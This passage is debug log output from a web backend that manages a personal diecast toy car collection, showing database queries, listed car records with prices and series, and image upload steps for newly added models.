      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:25:49.685Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:25:49.685Z server-connect:app Executing action step select
2026-02-04T11:25:49.685Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:25:49.686Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:25:49.686Z server-connect:app Executing action step select
2026-02-04T11:25:49.686Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:25:49.687Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:26:14.944Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:26:14.944Z server-connect:app Executing action step identify
2026-02-04T11:26:14.944Z server-connect:app options: { provider: 'security' }
2026-02-04T11:26:14.944Z server-connect:output identity: 1
2026-02-04T11:26:14.944Z server-connect:app Executing action step restrict
2026-02-04T11:26:14.944Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:26:14.945Z server-connect:output restrict: undefined
2026-02-04T11:26:14.945Z server-connect:app Executing action step condition
2026-02-04T11:26:14.945Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:26:14.945Z server-connect:app Executing action step insert
2026-02-04T11:26:14.945Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:26:14.946Z server-connect:output insert: { affected: 1, identity: 183 }
2026-02-04T11:26:14.946Z server-connect:app Executing action step condition
2026-02-04T11:26:14.946Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:26:14.946Z server-connect:app Executing action step upload
2026-02-04T11:26:14.946Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:26:14.946Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:26:14.946Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:26:14.946Z server-connect:upload Processing file: {
  name: 's-l1600 (4).webp',
  data: <Buffer >,
  size: 101200,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-69-20378841770204374943',
  truncated: false,
  mimetype: 'image/webp',
  md5: '2fa63bafe517321a69907e5200978fe0',
  mv: [Function: mv]
}
2026-02-04T11:26:14.946Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4_b62a0456-7adc-4ea6-b78d-bed59159d3bc.webp',
  rel: 'public/assets/images/diecast/s-l1600_4_b62a0456-7adc-4ea6-b78d-bed59159d3bc.webp'
}
2026-02-04T11:26:14.946Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4_b62a0456-7adc-4ea6-b78d-bed59159d3bc.webp',
  rel: 'assets/images/diecast/s-l1600_4_b62a0456-7adc-4ea6-b78d-bed59159d3bc.webp'
}
2026-02-04T11:26:14.946Z server-connect:output upload_image: [
  {
    name: 's-l1600_4_b62a0456-7adc-4ea6-b78d-bed59159d3bc.webp',
    path: '/public/assets/images/diecast/s-l1600_4_b62a0456-7adc-4ea6-b78d-bed59159d3bc.webp',
    url: '/assets/images/diecast/s-l1600_4_b62a0456-7adc-4ea6-b78d-bed59159d3bc.webp',
    type: 'image/webp',
    size: 101200
  }
]
2026-02-04T11:26:14.946Z server-connect:app Executing action step repeat
2026-02-04T11:26:14.946Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:26:14.947Z server-connect:app Executing action step insert
2026-02-04T11:26:14.947Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:26:14.947Z server-connect:output images: { affected: 1, identity: 220 }
2026-02-04T11:26:14.947Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:26:14.947Z server-connect:output condition: undefined
2026-02-04T11:26:14.947Z server-connect:output condition: undefined
2026-02-04T11:26:15.283Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:26:15.283Z server-connect:app Executing action step identify
2026-02-04T11:26:15.283Z server-connect:app options: { provider: 'security' }
2026-02-04T11:26:15.283Z server-connect:output identity: 1
2026-02-04T11:26:15.283Z server-connect:app Executing action step restrict
2026-02-04T11:26:15.283Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:26:15.284Z server-connect:output restrict: undefined
2026-02-04T11:26:15.284Z server-connect:app Executing action step paged
2026-02-04T11:26:15.284Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:26:15.287Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 160,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:26:56.165Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:26:56.165Z server-connect:app Executing action step identify
2026-02-04T11:26:56.165Z server-connect:app options: { provider: 'security' }
2026-02-04T11:26:56.165Z server-connect:output identity: 1
2026-02-04T11:26:56.166Z server-connect:app Executing action step restrict
2026-02-04T11:26:56.166Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:26:56.166Z server-connect:output restrict: undefined
2026-02-04T11:26:56.166Z server-connect:app Executing action step condition
2026-02-04T11:26:56.166Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:26:56.166Z server-connect:app Executing action step insert
2026-02-04T11:26:56.166Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:26:56.167Z server-connect:output insert: { affected: 1, identity: 184 }
2026-02-04T11:26:56.167Z server-connect:app Executing action step condition
2026-02-04T11:26:56.167Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:26:56.167Z server-connect:app Executing action step upload
2026-02-04T11:26:56.167Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:26:56.167Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:26:56.167Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:26:56.167Z server-connect:upload Processing file: {
  name: 's-l1600 (2).webp',
  data: <Buffer >,
  size: 100400,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-70-20378841770204416164',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'ab15fda46ec90e538bdb5fe922ccaa32',
  mv: [Function: mv]
}
2026-02-04T11:26:56.168Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_2_88db1f5a-5b42-49d2-886e-e3096c7c948c.webp',
  rel: 'public/assets/images/diecast/s-l1600_2_88db1f5a-5b42-49d2-886e-e3096c7c948c.webp'
}
2026-02-04T11:26:56.168Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_2_88db1f5a-5b42-49d2-886e-e3096c7c948c.webp',
  rel: 'assets/images/diecast/s-l1600_2_88db1f5a-5b42-49d2-886e-e3096c7c948c.webp'
}
2026-02-04T11:26:56.168Z server-connect:output upload_image: [
  {
    name: 's-l1600_2_88db1f5a-5b42-49d2-886e-e3096c7c948c.webp',
